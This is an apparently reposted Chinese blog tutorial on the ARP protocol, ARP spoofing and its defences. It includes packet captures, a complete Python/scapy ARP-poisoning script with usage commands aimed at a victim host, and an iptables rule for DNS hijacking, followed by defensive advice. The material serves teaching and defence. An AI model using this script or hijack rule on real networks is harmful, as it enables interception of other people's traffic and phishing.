arp原理(包括arp欺骗测试与防御)

来源:互联网 发布:ws15发动机知乎 编辑:程序博客网 时间:2024/05/18 02:01

arp协议

        地址解析协议,即ARP(Address Resolution Protocol),作用是通过IP地址换取mac地址。我们知道,在局域网内通信靠的是mac地址,而不是ip地址。有些人可能疑惑了,比如我要ping局域网内的网关,不就是ping 192.168.1.1 不就是用的IP地址吗??怎么说用的是mac地址,其实,在ping网关这个IP的时候,需要arp协议去得到网关的mac。再去对这个mac地址去发送信息。
     在一个局域网内,无时无刻不充斥着arp协议。
# tcpdump -i eno16777736 -vnn arp21:52:29.091636 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.6, length 4621:52:30.232964 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.71 tell 192.168.1.100, length 2821:52:30.233137 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.71 is-at d0:53:49:54:4d:e1, length 4621:52:31.112223 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.100, length 2821:52:31.114196 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 14:75:90:40:b9:80, length 4621:52:52.643785 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.42 tell 192.168.1.1, length 4621:52:57.863894 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.71 tell 192.168.1.100, length 2821:52:57.864068 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.71 is-at d0:53:49:54:4d:e1, length 4621:53:00.221650 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.6, length 4621:53:01.671999 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.100, length 2821:53:01.686769 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 14:75:90:40:b9:80, length 46

用抓包工具看看,都是一个请求包,一个回应包。
请求包是  谁知道192.168.1.71的mac请告诉192.168.1.6
回应包是  192.168.1.71的mac地址是 d0:53:49:54:4d:e1


ARP的工作流程:

    第一步:A(10.0.0.2)要和B(10.0.0.3)通信,A在本地的ARP缓存中检查主机B的匹配MAC地址。
    第二步:如果A的ARP缓存中没有缓存,则A将ARP请求帧广播到本地网络上的所有主机。本地网络中的所有主机都会接收到ARP请求,并且检查是否与自己的IP地址匹配,若不匹配则丢弃ARP请求。
    第三步:主机B(10.0.0.3)接收到A的ARP请求包,则将A的Mac和IP写进自己的ARP缓存中。
    第四步:主机B(10.0.0.3)将自己的mac信息回复给A。
    第五步:当主机A收到从主机B发来的ARP回复消息时,会用主机B的回复信息刷新自己的ARP缓存。并且利用缓存向B发送信息。


ARP的欺骗:

    ARP欺骗的实现原理很简单,因为所有主机的数据包想要发送到外网就必须交给网关,再由网关将数据包发给路由器并且开始传送数据包。
    那黑客只要在局域网内冒充网关,在局域网内向受害主机发送ARP回复包,一直告诉受害主机,我(黑客)是网关,把所有的上外网数据都交给我把。受害主机会信以为真,而导致将所有的数据包都发给了黑客。
    当然,黑客可以将数据先浏览一遍,然后再将所有数据转交给网关。这样神不知,鬼不觉。受害主机那里表现的是一切正常,但是不知道,他的所有信息都被黑客查看了个遍。甚至还可以伴随一些DNS劫持攻击。



下来演示一下ARP攻击的效果。
演示环境:
黑客主机 (IP:192.168.1.100    网卡mac:00:0c:29:xx:xx:6d) 
受害主机 (IP:192.168.1.176    网卡mac:00:0c:29:xx:xx:b4)
网关        (IP:192.168.1.1        网关mac:cc:81:da:xx:xx:41)

攻击前的受害主机的ARP表。
# arp -aMEIZU-MX6.lan (192.168.1.144) at 68:3e:34:xx:xx:10 [ether] on eno16777736? (192.168.1.100) at 00:0c:29:xx:xx:6d [ether] on eno16777736PandoraBox_2541.lan (192.168.1.1) at cc:81:da:xx:xx:41 [ether] on eno16777736

现在黑客主机开始攻击。攻击原理是不停发arp数据包向受害主机,告诉受害主机。我是网关。
(先别管我怎么攻击的)


看看攻击后的受害者主机的ARP表。
# arp -aMEIZU-MX6.lan (192.168.1.144) at 68:3e:34:xx:xx:10 [ether] on eno16777736? (192.168.1.100) at 00:0c:29:xx:xx:6d [ether] on eno16777736PandoraBox_2541.lan (192.168.1.1) at 00:0c:29:xx:xx:6d [ether] on eno16777736

注意。192.168.1.100(黑客主机的IP)和网关的mac竟然变的一样了。

现在在受害主机上ping一下百度,并且抓包看看。
受害主机上的显示。
# tcpdump -i eno16777736 icmp -vvnntcpdump: listening on eno16777736, link-type EN10MB (Ethernet), capture size 65535 bytes17:59:38.386544 IP (tos 0x0, ttl 64, id 33184, offset 0, flags [DF], proto ICMP (1), length 84)    192.168.1.176 > 123.125.114.144: ICMP echo request, id 1398, seq 4, length 6417:59:38.386811 IP (tos 0xc0, ttl 64, id 13336, offset 0, flags [none], proto ICMP (1), length 112)    192.168.1.100 > 192.168.1.176: ICMP redirect 123.125.114.144 to host 192.168.1.1, length 92IP (tos 0x0, ttl 63, id 33184, offset 0, flags [DF], proto ICMP (1), length 84)    192.168.1.176 > 123.125.114.144: ICMP echo request, id 1398, seq 4, length 64


一目了然吧,123.125.114.114 是百度的IP。抓包显示176向114发icmp的请求包,但是回应的时候,是192.168.1.100给192.168.1.176回应。还有一个ICMP redirect redirect。

看看局域网内的arp都是些什么。
# tcpdump -i eno16777736 -vvnn arptcpdump: listening on eno16777736, link-type EN10MB (Ethernet), capture size 65535 bytes19:36:57.640374 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 00:0c:29:xx:xx:6d, length 2819:36:59.510906 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.176 tell 192.168.1.100, length 2819:36:59.511255 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.176 is-at 00:0c:29:xx:xx:b4, length 4619:36:59.657612 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 00:0c:29:xx:xx:6d, length 2819:37:01.672798 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 00:0c:29:xx:xx:6d, length 2819:37:03.689772 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 00:0c:29:xx:xx:6d, length 28



局域网内大量充斥着网关的mac(真网关是......41)是......6d(黑客的mac),这样的信息被大量的发给受害主机,导致受害主机信以为真。

下面公布一下我的,arp欺骗代码。
参考自 http://blog.csdn.net/xuanhun521/article/details/52334128


#!/usr/bin/python# _*_ coding=utf-8 _*_import sysimport osimport signalfrom scapy.all import ( get_if_hwaddr,  #获取本机的网络接口 getmacbyip,     #通过MAC换取IP ARP,            #ARP数据包构建 Ether,          #以太网数据包构建 sendp           #在第二层发送数据包)from optparse import OptionParser  #处理命令行参数def main(): try:  if os.getuid() != 0:   print "[-]Run me as root"   sys.exit(1) except BaseException:     #捕获所有的异常  print 'Something  Error' #try中的函数执行发生异常的话,就执行Something Error usage = 'Usage:%prog [-i interface][-t target] host'                        #命令行参数相关 parser = OptionParser(usage) parser.add_option('-i',dest='interface',help='Specify the interface to use') parser.add_option('-t',dest='target',help='Specify a particular to ARP poison') parser.add_option('-m',dest='mode',default='req',\              help='Posioning mode:requests(req) or replies(rep) [default:%default]') parser.add_option('-s',action='store_true',dest='summary',default=False,\              help='Show packet summary and ask for confirmation before poisoning')#内容被存入到summary中,比如                                                                                   #store                                                                                   # -s 10,则options.summary就等于10                                                                                   #store_true                                                                                   # -s,出现-s则options.summary就为True (options,args)=parser.parse_args() if len(args) != 1 or options.interface is None:  parser.print_help()  sys.exit(0) mac = get_if_hwaddr(options.interface) def build_req():  """  以请求包的方式进行欺骗,目的是欺骗网关,让网关把所有的数据给为发一份,同时,被害主机毫无察觉。  """  gateway_mac = getmacbyip(args[0])  if options is None:      #广播欺骗   pkt = Ether(src=msc,dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=mac,psrc=options.target,hwdst=gateway_mac,pdst=args[0],op=1)  elif options.target:     #定向欺骗   target_mac = getmacbyip(options.target)   if target_mac is None:    print "[-] Error: Could not resolve targets MAC address"    sys.exit(1)   pkt = Ether(src=mac,dst=gateway_mac)/ARP(hwsrc=mac,psrc=args[0],hwdst=target_mac,pdst=options.target,op=1)   # 本数据包封装了一个数据包,从本机发送给网关, ARP 的内容是谁知道,   # 这里欺骗的受骗主机  return pkt def build_rep():  """  以回应包的形式,只是在欺骗被攻击的主机,网关的mac是我这台主机的mac。  """  if options.target is None:      #广播欺骗  骗所有人   pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)  elif options.target:            #广播欺骗  骗指定的人   target_mac = getmacbyip(options.target)   if target_mac is None:    print "[-] Error: Could not resolve targets MAC address"    sys.exit(1)   pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)   #            本机mac    受欺骗的主机mac       本机mac    网关的ip地址      被攻击人的mac        被攻击人的ip    OP值是表示请求还是回应   #                                                                                                       1:请求  2:回应   #  从本机发往受欺骗主机, 内容是网关的mac是本机。  return pkt if options.mode == 'req':  pkt = build_req() elif options.mode == 'rep':  pkt = build_rep() if options.summary is True:  pkt.show()  ans = raw_input('\n[*] Continue? [Y|n]: ').lower()  if ans == 'y' or len(ans) == 0:   pass  else:   sys.exit(0) while True:  sendp(pkt, inter=2, iface=options.interface)if __name__ == '__main__': main()




这里代码主要就是封装了一个ARP数据包,并且欺骗受攻击的主机。
用法:  

# python arp.py -i eno16777736(本机网卡名称) -t 被攻击主机的IP -m rep -s 192.168.1.1
# python arp.py -i eno16777736  (本机网卡名称)   -t  被攻击主机的IP -m req -s 192.168.1.1

使用前,请打开网络转发功能。(不然,受攻击主机会处于断网状态)
# vim /etc/sysctl.conf
# sysctl -p
net.ipv4.ip_forward = 1

当然,还可以搭配dns劫持,具体原理就是截下目的端口为53的数据包,并且修改其目的地址。当然需要自己搭建一个dns服务器。
利用防火墙的nat表。
# iptables -t nat -A PREROUTING -i eno16777736 -p udp --dport 53 -j DNAT --to-destination 192.168.1.100:53

比如,我将www.qq.com这个域名劫持了,并返回一个错误的IP。看看效果!!
现在,我攻击一台windows主机。(网络安全很重要吧!!!!)

arp欺骗的防御

     了解到网络安全的重要性了吧。
        首先,不说arp欺骗会导致dns劫持,单单是被劫持,网肯定会变的很慢。
     危害十分十分的大,尤其是搭配dns劫持,会遭到一些钓鱼网站的攻击,比如。会莫名其妙下载攻击性更为强大的攻击性病毒,导致整台主机完全落入黑客手中。
预防措施
1.建立静态的arp表。只是建立静态表后,不要轻易换网络环境,要不然需要不停的替换网关的mac地址。静态arp表的好处就是,根本不理会局域网上的虚假消息,本机只相信自己的静态表。

2.选择可信赖的局域网环境。(没有计算机相关知识的人唯一可选择的方法)

3.养成遇到问题就抓包的好习惯(当然是对有计算机网络基础的人说的)

当然,也不用担心。arp欺骗只是针对内网用户的攻击,就是说,攻击你的人就是和你连接同一个wifi的人。外网的黑客想要骗你,也得先攻击下一台你的邻居才能通过那个邻居来攻击你。

当然,还可以消失,让邻居们看不见你。
有一句话是,祸起萧墙。 我的上网习惯良好,怎么就中病毒了????那很有可能你有一个习惯很不好的邻居。
因为局域网内的网络攻击是很方便的,一旦你的邻居(局域网内)电脑中毒了,你的网络安全意识又不强,而且还没有什么杀毒软件的支持,那么很有可能你也会挂掉,最近的肆虐的永恒之蓝,445smb漏洞,就是局域网内的文件共享漏洞,这个漏洞导致很多机构的文件被锁,俗称勒索病毒。

最后还是劝大家提高网络安全意识,不要乱进一些不好的网站,不要乱下载陌生人的附件,电脑系统要及时更新,安装杀毒软件。。。。

























原创粉丝点击